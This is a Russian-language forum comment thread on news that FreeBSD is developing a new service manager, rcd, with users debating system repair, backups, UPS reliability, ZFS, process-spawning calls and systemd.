	>> эти люди назывались когда-то - авторы дистрибутивов. >> Кстати, до определенного момента они таки озабочивались. > Пока это был - единственный комп в городе... пока на нем было что-то ценное. а не докер обмазанный докером под докером. > Или вообще - снапшот откатить за 2 минуты - и сделать вид это в той твоей горбатой фс полностью разваливающейся при сбоях питания? Держи в курсе. (и да, ее не починить, да и чинить незачем) > что факапа никогда не было. Но да, тебе снапшоты на десктопе нахрен не нужны. Нет у меня на десктопе ничего, что можно "откатить". > Теперь и правда нет задачи у _тебя_ нет. Потому что твои поделки вообще никакой ценности не имеют и никаких полезных данных на той кривой флэшке быть не могло.
	Ответить | Правка | Наверх | Cообщить модератору

	115. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:53
	Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было кому то надо - оно бы было. Полагаю другие люди просто чинят загружаясь с рабочей системы, лайвсд какогонить и не теряют время пытаясь нечто глюкавое воскресить находясь внутри. Учитывая что это линукс, достаточно чтобы mount+chroot работали, дальше можно смонтировать запасной рабочий образ и чрутнутся в него и уже от туда примерно как с лайвсд чинить.
	Ответить | Правка | К родителю #54 | Наверх | Cообщить модератору

	274. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 19:59
	> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было > кому то надо - оно бы было. > Полагаю другие люди просто чинят загружаясь с рабочей системы, Нет. Тут наш местный подвальный был прав - те другие ничего не чинят (и не умеют, кстати) да и чинить в этих поделках нечего обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если там были твои ценные данные - сам виноват.
	Ответить | Правка | Наверх | Cообщить модератору

	281. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (276), 11-Сен-26, 20:37
	Ценные данные вообще-то бэкапить надо
	Ответить | Правка | Наверх | Cообщить модератору

	287. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 22:34
	раз в секунду - норм? А если не норм - то может головой еще разок-другой попробуешь не только есть?
	Ответить | Правка | Наверх | Cообщить модератору

	299. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:20
	Зачем? Проще диск примонтировать и скопировать, в данном случае.
	Ответить | Правка | К родителю #281 | Наверх | Cообщить модератору

	316. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 08:49
	> Зачем? > Проще диск примонтировать и скопировать, в данном случае. не проще, потому что тебе визу не дадут - место рождения Челябинск в паспорте. И это далеко не единственный вариант когда проще все же починить.
	Ответить | Правка | Наверх | Cообщить модератору

	335. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:39
	Ну да, я как бы хостег чувствительной/нужной инфы никогда не рассматривал во вне.
	Ответить | Правка | Наверх | Cообщить модератору

	345. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от User (??), 12-Сен-26, 16:35
	>> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было >> кому то надо - оно бы было. >> Полагаю другие люди просто чинят загружаясь с рабочей системы, > Нет. > Тут наш местный подвальный был прав - те другие ничего не чинят > (и не умеют, кстати) да и чинить в этих поделках нечего > обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если > там были твои ценные данные - сам виноват. Вот щаз прям обидно, да! Вроде как /home все desktop linux'ы по дефолту выделяют )
	Ответить | Правка | К родителю #274 | Наверх | Cообщить модератору

	351. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 17:38
	у меня нет десктопов. а так да, выделяют- выделяют. Интересно, у редхатоклонов до сих пор невозможно создать лэйаут с всем местом в / без ручного указания в байтиках сколько куда (охренеть "удобно" когда размер у каждой новой системы может быть любым) ? autopart прямой поставки из 80х годов прошлого века за каким-то лешим всегда создает никому ненужный /home на все "лишнее" свободное место на диске. --nohome - внезапно... оставляет "лишнее" просто пустым. Убунту, к счастью, можно уговорить не страдать хренью и всегда использовать все свободное место на диске под один раздел. (нормально изолировать /var /srv /opt - не, нельзя, ну или придется каждый раз калькулятор использовать) ну а чо вы хотите, эпоха линукса-на-десктопе. Правда опять в виртуалочке в макоси.
	Ответить | Правка | Наверх | Cообщить модератору

	58. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 15:00
	Сильно зависит от того как и что вы собрались чинить. По мне сильно проще сохранить etc, var и что ещё было руками накручено и "переставить" систему/перезалить бинарники, чем делать какие то странные упражнения по ручной починке чего то там внутри. И собственно за 15+ лет использования у меня фря ломалась всего несколько раз, и вроде 1-2 из них было после неудачных обновлений, остальное были проблемы с железом. Я и /rescue то не держу (там как раз все версии бинарников статически слинкованные, специально для ручного восстановления о котором вы) - не вижу смысла возится в раздолбаной системе.
	Ответить | Правка | К родителю #48 | Наверх | Cообщить модератору

	275. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 20:01
	> Сильно зависит от того как и что вы собрались чинить. > По мне сильно проще сохранить etc, var и что ещё было руками вот и сиди, вспоминай, что там было еще и где. И потом пару недель - что там и где еще было забыто и почему вылез глюк исправленный пять лет назад. > раз, и вроде 1-2 из них было после неудачных обновлений, остальное > были проблемы с железом. и чего - железо резко стало беспроблемное или ну его просто стало нахрен? А на десктопе, поди, венда.
	Ответить | Правка | Наверх | Cообщить модератору

	300. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:26
	Не, так уже не бывает практически. В том смысле что пользовательские данные не разбрасываются обычно по всяким не понятным местам в системе, а системные понятно где хранятся. По крайней мере на десктопе и медиаплеерах так. На домашнем сервере совсем мизер беспорядка, но там инсталляция по сути живёт наверное с 2009 года. Нет, мне просто везло наверное с железом и собственно инсталляций у меня было мало. На десктопе венды нет вроде с 2015 года, и как то не хочется :)
	Ответить | Правка | Наверх | Cообщить модератору

	305. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от нах. (?), 12-Сен-26, 00:11
	у меня основной потерей будут - настройки системы. Воспроизводить их вот для рабочих именно - очень долго и больно. А что я там менял пять минут назад - не помню уже. Систем не одна, настроек много. ну и вон того видео, которого в ютубе больше нет, а в хранилку еще не собрался скопировать - тоже будет жалко. А с железом бывает вообще что угодно - хитачи (кто тут недавно хвалил? что мол надежно как танк и собрано из дерьма и палок. В общем, да, дерьмо и палки.) вон намедне нае...сь и даже не чирикнула. И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться?
	Ответить | Правка | Наверх | Cообщить модератору

	312. Скрыто модератором	–1 +/–
	Сообщение от Аноним (163), 12-Сен-26, 04:34
	>у меня основной потерей будут - настройки системы. Воспроизводить их вот для рабочих именно - очень долго и больно. А что я там менял пять минут назад - не помню уже. Систем не одна, настроек много. Мои подозрения о том что линуксоиды страдают психическом расстройством подтвердились, теперь я понял это ОКР.
	Ответить | Правка | Наверх | Cообщить модератору

	313. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 12-Сен-26, 04:50
	>И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться? Есть конечно, профессиональные ИБП для серверов. Умные UPS (Линейка Smart и выше)В более дорогих ИБП (например, серий APC Smart-UPS, Eaton, Vertiv) алгоритмы гораздо сложнее. Промышленные системы (BMS)В дата-центрах и на крупных узлах связи не полагаются даже на логику ИБП. Там используются внешние BMS (Battery Management Systems). По поводу первого абзаца, открой для себя Ansible. Как бы без него девопсы жили. По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить. Порою мне искренне жаль местных экспертов, никто из них не работал сисадмином, только сидят, конфиги ковыряют бесконечно.
	Ответить | Правка | К родителю #305 | Наверх | Cообщить модератору

	317. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 09:26
	> Есть конечно, профессиональные ИБП для серверов. > Умные UPS (Линейка Smart и выше)В более дорогих ИБП (например, серий APC ты нипаверишь... Нет, кнопка тестирования батарейки тебе ничем не поможет. Нет настолько "smart" упсов которые догадывались бы тестировать батарею НЕ подключая ее к реальной нагрузке (и да, нужна тестовая, нет, до такого инженерия не додумалась - ДАЖЕ в промышленных агрегатах высотой с дом). Просто "ой, чпок!" случится у тебя при нажитии кнопки, а не при реальном сбое питания. > Промышленные системы (BMS)В дата-центрах и на крупных узлах связи не полагаются даже > на логику ИБП. Там используются внешние BMS (Battery Management Systems). поэтому у нас оно не просто сдохло в один непрекрасный момент, а пяток батарей взорвался нахрен. Залив все своим ядовитым содержимым так, что без химзащиты и войти-то было нельзя. (к счастью батареи не в помещении ЦОД а вообще в другом конце здания, и там никого в момент взрыва не было) Поставщик, кстати, до сих пор не ответил какого хрена и что с этим делать. Да, там есть регламент замены, без разницы еще живых или уже дохлых. Вот после замены оно и того. Вот так бывает, когда информация не из гуглопоиска, а ты на самом деле работаешь с этим не один год и знаешь цену рекламным листовочкам. Да, у такой системы не один блок, поэтому без питания осталась часть ЦОД а не весь, большое спасибо, б-ди сэр. > По поводу первого абзаца, открой для себя Ansible. Как бы без него > девопсы жили. как мы без него и без девляпсов жили - учоные спорят. Хорошо жили. Мне совершенно не нужен написанный этими рукож0пами пихоновый скриптик с ключами от всего кучкой под ковриком. Он моих проблем никаких не решает (мы вообще-то не вчера родились и как-то умели справляться за двадцать лет до его появления с массовым обслуживанием совершенно одинаковых коробок) и создает чудовищное количество новых. А теперь расскажи как он тебе поможет восстановить незагружающийся твой собственный ноут, который у тебя один такой, к примеру. > По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся > история сохраняется и можно найти какое видео смотрел, если только в малыш, мне не нужно чтобы ютуб хранил мою историю. Мне нужно чтоб у меня сохранились видео. Потому что, когда ты вырастешь, ты внезапно узнаешь, что то что ты смотрел вот вчера - сегодня посмотреть ты не сможешь. А если вырастая еще и поумнеешь - что и хорошо бы никто не мог сохранить такую историю и ее кому попало перепродать или вовсе "ответить на запрос госорганов". "а потому что нет гарантии нигде и не на что". Вот то видео что у меня реально потерялось и не оказалось в бэкапе - оно из второго разряда. > Порою мне искренне жаль местных экспертов, никто из них не работал сисадмином, > только сидят, конфиги ковыряют бесконечно. понимаешь, твоя работа сисадмином в подвальчике на три компа - не совсем то что меня интересует последние лет 25. А судя по твоим "мега-познаниям" - дальше ты пока не продвинулся.
	Ответить | Правка | Наверх | Cообщить модератору

	331. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:27
	> По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить. Да вы совсем юны и наивны :) Удачи вам найти яузкий в оригинале или песенку про шпиль, тоже в оригинале а не перемыленое мыло.
	Ответить | Правка | К родителю #313 | Наверх | Cообщить модератору

	330. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:23
	Так вот странно что у вас настройки системы за пределами etc и var разбросаны. Я считаю UPS устаревшей темой, при случае просто поставлю набор для солнечной автономки, который вполне себе online UPS. Там нонче BMS умные и умеют считать сколько батарея запасла энергии, так что даже тестов никаких не надо, и работа от батарей там не разовый инцендент а ежедневно используемый функционал.
	Ответить | Правка | К родителю #305 | Наверх | Cообщить модератору

	341. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 16:10
	> Там нонче BMS умные и умеют считать сколько батарея запасла энергии упсы тоже умеют, но есть нюанс - сколько она там "запасла" (или не запасла а просадила в тепло) не равно тому сколько потом проработает под нагрузкой. В этом собака и порылась. солнечное автономное питание на домик поросенка, а не один полудохлый ноут - стоит и весит столько, что окупится (без зильонанутых подачек) ровно никогда. (у меня оно, если кто не в курсе - есть, но это именно зарядить ноут где-то в заднице мира, и лучше не думать сколько это все весит и стоит)
	Ответить | Правка | Наверх | Cообщить модератору

57. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
Сообщение от Аноним (57), 10-Сен-26, 14:42
делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd
Ответить | Правка | Наверх | Cообщить модератору

	318. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 09:29
	> делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd приступай, чего ты ждешь-то? А то ж ведь опять сделают не так как тебе мечталось.
	Ответить | Правка | Наверх | Cообщить модератору

	353. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 20:04
	Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму дастЪ?!(С)"
	Ответить | Правка | Наверх | Cообщить модератору

	355. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 20:44
	> Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму > дастЪ?!(С)" ну хотя бы на локалхосте. учитывая сколько лет некоторым моим локалхостам - оно даже было бы оправдано. но проще, разумеется, наплевать и забыть.
	Ответить | Правка | Наверх | Cообщить модератору

73. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от MaLinovsky (?), 10-Сен-26, 16:12
Runit с кривым конфигом? Чем им SMF не угодил? Притащили ZFS из Solaris, так чего было мелочиться? Взяли бы и SMF заодно, ведь это ее системдэ косплеил десятилетиями. А там уже все круто и готово к работе. Или сами не осилили портирование как было с ZFS и Sun Microsystems им с этим грешным делом помогали потом? Многие орали что ZFS тоже не упрощенка и да производительность не в потолок, но m.2 накопителям на PCIE 5 это безразлично. И вообще как выпустят DDR6 и введут норму в 32 гига уже и пол гига отжираемые файловой системой станут мелочью. Это по факту выглядит как клон быстрого инита и не более того. Собственно скорее всего это и есть наиболее быстрый вариант запуска, но зачем делать корявый язык программирования как норму настройки неизвестно. А то развели фиг пойми что в теме. Или это ради избавления от как говорят обыватели баш портянок? Они же не в курсе что шелл скрипты это sh, а не bash, хотя есть еще dash, zsh и так далее. Дичь когда в комментариях пусто практически. Один человек вспомнил SMF, но не понял на что смотрит.
Ответить | Правка | Наверх | Cообщить модератору

	80. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (19), 10-Сен-26, 16:53
	>ZFS >PCIE >DDR Ты, я смотрю, в сознание вообще не приходишь. Че сказать-то хотел?
	Ответить | Правка | Наверх | Cообщить модератору

	191. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 11:51
	Научись читать прямо, а не наискосок, а то в голове одна каша будет из аббревиатур.
	Ответить | Правка | Наверх | Cообщить модератору

	142. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (142), 11-Сен-26, 03:20
	Dlss 5 забыл
	Ответить | Правка | К родителю #73 | Наверх | Cообщить модератору

	192. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Malinovsky (?), 11-Сен-26, 11:51
	Не пользуюсь.
	Ответить | Правка | Наверх | Cообщить модератору

	270. "Для FreeBSD развивают новый системный менеджер rcd"	–3 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:18
	> Многие орали что ZFS тоже не упрощенка и да производительность не > в потолок, но m.2 накопителям на PCIE 5 это безразлично. Вообще-то на быстрых накопителях - оверхед ФС как раз сильнее всего ощущается и ZFS помрет - именно поэтому. На сверхскоростных SSD - он рубиться с линуксными фс не сможет от слова совсем. Потому что по сути блочный дизайн а не экстентный даже.
	Ответить | Правка | К родителю #73 | Наверх | Cообщить модератору

	282. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 20:49
	Я вот сомневаюсь что помрет. Видите ли Linus Tech Tips не совсем круглые идиоты и они там делали видео где SSD на ZFS служил кешем пула. И таких видео было минимум два. И все прекрасно работало. По крайней мере этого было достаточно для работы по сети для сервера. Там ведь свои особенности есть и кеширование в память силами ФС полагаю можно отключить, потому что это серверная функциональность. Как бы то ни было на мелких блоках у современных накопителей скорости весьма приличные.Возможно придется сделать размер блока в среднем больше, если очень уж нужно, но я скорее поверю что для системы будет достаточно хоть эмуляцию блоков по 512 байт включить, хомяка на другой диск сунуть, игры на третий, чтобы с программами не пересекалось, либо поставить много памяти, чтобы кеша в ней хватало. Не такие уж и лютые скорости нужны, если для игр. Я пока что не вижу почему ZFS должна прямо загнуться, даже если Линус Торвальдс на нее бухтит. Там проблема в лицензии и потому он просто тыкает в недоработки. Если бы ее выпустили под GPL он быстро нашел бы повод выделиться типа "Мы сделали +80% скорости ZFS, 15% для EXT4 и XFS" - вот так примерно это выглядело бы. на винде там вроде бы ограничение гига в 4 по сути и от PCIE5 вообще толку ноль. Так что получается не хуже чем на винде я думаю. Сложно без цифр с жесткими и адекватными тестами, но без объективного подтверждения сдаваться не мой стиль.
	Ответить | Правка | Наверх | Cообщить модератору

79. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (78), 10-Сен-26, 16:53
Во-первых, баян, во-вторых, не взлетит.
Ответить | Правка | Наверх | Cообщить модератору

	87. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (87), 10-Сен-26, 18:28
	Тоже не сильно понятно зачем оно нужно, если bsd init и так самый адекватный на сегодня.
	Ответить | Правка | Наверх | Cообщить модератору

	101. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (101), 10-Сен-26, 20:59
	Все пользуются.
	Ответить | Правка | Наверх | Cообщить модератору

	171. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 10:34
	bsd init не имеет к этому никакого отношения, ни rc.d ни rcd - не инит. А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, к примеру, запускающий mysqld, и подумай, если есть чем - что будешь делать если надо что-то поправить (особенно - в чужой работающей системе).  Или - хочется ли тебе написать такой же для нового порта такой же развесистости и сложности. И сразу поймешь, зачем. ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном экземпляре.
	Ответить | Правка | К родителю #87 | Наверх | Cообщить модератору

	346. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:42
	> bsd init не имеет к этому никакого отношения, ни rc.d ни rcd > - не инит. > А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, > к примеру, запускающий mysqld, и подумай, если есть чем - что > будешь делать если надо что-то поправить (особенно - в чужой работающей > системе).  Или - хочется ли тебе написать такой же для > нового порта такой же развесистости и сложности. > И сразу поймешь, зачем. > ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном > экземпляре. Эээээ... а чего тут думать? Клаву просить надо!
	Ответить | Правка | Наверх | Cообщить модератору

	349. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 17:18
	> Эээээ... а чего тут думать? Клаву просить надо! ● Login expired · Please run /login (а неоткуда, из запрещенных стран нельзя логиниться) ну и токе... времени на самом деле не напасешься, в одиночку весь мир переделывать.
	Ответить | Правка | Наверх | Cообщить модератору

	112. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:46
	Почему не взлетит то? Они просто будут постепенно внедрять, чтобы не ломать совместимость и пользовательские привычки. К 19-25 версии сделают дефолтным, лет через 5-15, там никто не торопится.
	Ответить | Правка | К родителю #79 | Наверх | Cообщить модератору

82. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (82), 10-Сен-26, 17:14
Чем это лучше dinit?
Ответить | Правка | Наверх | Cообщить модератору

86. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
Сообщение от нах. (?), 10-Сен-26, 17:57
В общем выглядит пока как systemd здорового человека. Единственное что смущает - автор, поскольку pkg... надо ведь было постараться сделать новую версию _всего_лишь_ cli к базенке key-value - на ровном месте несовместимой с недостаточно модным ядром фри. А он вот когда-то уже давно - СМОГ! С другой стороны, никого ж уже и не жалко...
Ответить | Правка | Наверх | Cообщить модератору

	111. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:43
	Да ладно, надо было выкинуть UCL и юзать LUA для конфигов тоже, было бы намного винрарнее. Единственное что меня заинтересовало: как он сделал обновление без потери состояния?
	Ответить | Правка | Наверх | Cообщить модератору

88. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от Аноним (88), 10-Сен-26, 19:06
Классную приблуду навайбкодили! Поддерживаю!
Ответить | Правка | Наверх | Cообщить модератору

	114. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 21:50
	У вас есть информация что разработчики этого проекта присоединились к предателям человечества?
	Ответить | Правка | Наверх | Cообщить модератору

	311. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 12-Сен-26, 04:18
	Разработчики этого проекта не были замечания в работе на аннунаков.
	Ответить | Правка | Наверх | Cообщить модератору

	319. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от агент рептилоидов (?), 12-Сен-26, 09:31
	> Разработчики этого проекта не были замечания в работе на аннунаков. Поскольку господа наши не одобряют работу на конкурирующие компании.
	Ответить | Правка | Наверх | Cообщить модератору

91. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от Норм (?), 10-Сен-26, 20:09
Молодци. Фря движется медленно но движение есть.
Ответить | Правка | Наверх | Cообщить модератору

124. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от pansa2 (?), 10-Сен-26, 23:24
Еще таймеры туда добавть. Таймеры - хорошо. Только без вот этого уродского синтаксиса времени, как у системдЫ, а в остальном они прям хороши. Но без журналды только. Вот это зло.
Ответить | Правка | Наверх | Cообщить модератору

127. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Dmitry (??), 10-Сен-26, 23:28
Сколько комментариев, и ни один не увидел слово "pdfork()" Я вот, например, глазами читаю текст новости, а вы чем ?
Ответить | Правка | Наверх | Cообщить модератору

	129. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от warlock (??), 11-Сен-26, 00:07
	Запускалка процессов использует системную функцию предназначенную для создания процессов чтобы создавать процессы. Вот это поворот!
	Ответить | Правка | Наверх | Cообщить модератору

	181. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Dmitry (??), 11-Сен-26, 11:27
	Почитайте про отличия между fork(), pdfork() и pdrfork()
	Ответить | Правка | Наверх | Cообщить модератору

	216. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от warlock66613 (ok), 11-Сен-26, 13:59
	Я читал. Как я понял fork() принципиально сломан и не может быть использован ни в какой ситуации, кроме как когда надо просто стартовать процесс и забыть о нём. Так что было бы странно, если бы новый проект его использовал.
	Ответить | Правка | Наверх | Cообщить модератору

	304. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:41
	Проблема в том, что все эти форки нафиг не сдались. posix_spawn() - вот что хочется юзать а не переизобретать каждый раз с нуля все эти ритуальные способы правильно родить процесс и не упустить никаких деталей.
	Ответить | Правка | К родителю #181 | Наверх | Cообщить модератору

	320. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 09:42
	> Проблема в том, что все эти форки нафиг не сдались. > posix_spawn() - вот что хочется юзать тебе в макось. Кажется, это единственная ос где он реализован не в виде враппера вокруг fork() (или clone() как в линуксе где fork сам враппер). fork() при этом там поломан настолько что им в общем случае вообще запрещено пользоваться. А авторы юникс полагали что важнее как раз не упустить деталей от parent процесса, а не максимально тщательно их зачистить.
	Ответить | Правка | Наверх | Cообщить модератору

	328. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:16
	Думаю мне просто подождать ещё пару лет. :) Во фрёвом мане написано что posix_spawn() работает поверх vfork(). Через пару лет сделают версию чтобы работала поверх pdfork() и проблема сама собой решится. На самом деле у меня на фре оно работает немного странно на мой взгляд, и после posix_spawn() процесс не работает, пока waitpid() не дёрнешь, а до того как его дёрнешь pid уже валидный и его можно привязать к kqueue() или засунуть в похожий механизм инукса для мониторинга процессов.
	Ответить | Правка | Наверх | Cообщить модератору

	356. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 20:59
	> Во фрёвом мане написано что posix_spawn() работает поверх vfork(). потому что это - враппер. самостоятельно делающий то что нормальный юникс-кодер и так умеет. просто синтаксический сахарок. А в макоси это чуть ли не единственное что на самом деле работает через микроядро. (да, оно там таки есть - вот в этом странном месте и почти нигде кроме) Побочный эффект, разумеется, что этот вызов - безобразно дорогой. Но, поскольку это не fork(), и не используется для обработки соединений,в немодных-несовременных программах, например - то это становится не особенно и важно. На сколько там микросекунд дольше запускается процесс который только конфиги свои читает секунды - совершенно пофигу. Зато гарантируется полная отвязка от текущего процесса - потому что с ним никак и не связано.
	Ответить | Правка | Наверх | Cообщить модератору

	133. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 00:19
	Думаете опечатка? А вот нет: https://man.freebsd.org/cgi/man.cgi?pdfork(2)
	Ответить | Правка | К родителю #127 | Наверх | Cообщить модератору

	168. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Dmitry (??), 11-Сен-26, 10:27
	Нет, я наоборот, хотел, чтобы обратили внимание, что rcd, в отличие от штатного rc, не смотрит на pid процесса в /var/run
	Ответить | Правка | Наверх | Cообщить модератору

	182. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 11:33
	Тут как бы да и как бы посмотрим. pidfd вот только завезли в систему. Надо посмотреть что там внутри и можно ли это дампить на диск, если да то и в обычный rc.d поддержка приедет.
	Ответить | Правка | Наверх | Cообщить модератору

	303. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:37
	Ошибся The pdfork(), pdgetpid(), and  pdkill()  system  calls  first  appeared  in FreeBSD  9.0. The pdrfork() and pdwait() system calls first appeared in FreeBSD 15.1.
	Ответить | Правка | Наверх | Cообщить модератору

	357. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 21:03
	> pidfd вот только завезли в систему. > Надо посмотреть что там внутри и можно ли это дампить на диск, файловый ("файловый") дескриптор там внутри. Нельзя, имеет смысл только в контексте процесса, как и любой fd.
	Ответить | Правка | К родителю #182 | Наверх | Cообщить модератору

	310. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 12-Сен-26, 04:15
	Анонимные эксперты в принципе не читают текст новости, в лучшем случае они дочитывают заголовок до конца.
	Ответить | Правка | К родителю #127 | Наверх | Cообщить модератору

148. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
Сообщение от Аноним (148), 11-Сен-26, 04:37
В серьез нацелились в десктоп, похоже.
Ответить | Правка | Наверх | Cообщить модератору

	329. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Укропатолог (?), 12-Сен-26, 14:17
	Первым признаком нацеливания на десктоп, было бы написание драйверов для блютуза, вифи, нфс, вебкамер и прочих плюшек. А это просто кому-то захотелось повайбкодить.
	Ответить | Правка | Наверх | Cообщить модератору

	360. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 22:26
	И как же ты его напишешь если производитель шелезяки сам не пишет и другим не даеЁт? Реверсить виндовые драйвера? Или сразу железку? Ну дык таких упоротых больше не делают, так что вряд ли :-\
	Ответить | Правка | Наверх | Cообщить модератору

283. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Метрика (?), 11-Сен-26, 21:38
Хоть что то своё за долгие годы, а когда то фря была лидером удобных и продуманных инструментов для админов и программистов, пока с линукс не связалась
Ответить | Правка | Наверх | Cообщить модератору

	284. Скрыто модератором	–4 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 21:57
	Проблема не в линукс. Просто процесс разделения кодовой базы Unix и BSD шел долго и тогда BSD несколько отстали. А System V это Solaris, который не взлетел, потому что на зеленые видеокарты ставку сделал. Вот вроде бы нвидия в топе, а линуксоидам пофиг вообще. Дайте встройку интела и видеокарту от АМД. RX 560 линуксоидам более чем хватало рабочий стол рисовать и погамать. А потому тяжелой артиллерией стала DragonflyBSD, которая отпочковалась пораньше от FreeBSD. Вот и получается что перфекционный дальтонизм поразил сторонников BSD и даже Unix. Глупые вопли тут про макось ненужны. Она прибита к железу. OpenSolaris на базе Illumos в лице OpenIndiana работает. И широта поддержки железа на ней куда больше. И никаких лицензионных заморочек как в линуксе с ZFS. Перенесенный кусок OpenSolaris для работоспособности ZFS не так хорошо работает как хотелось бы. Простой интерфейс лагал еще давно на FreeBSD когда OpenIndiana работала быстро. Лидерство было в формате разработки у тех кто делали 9front. А потом пришли корпорасты и каждый 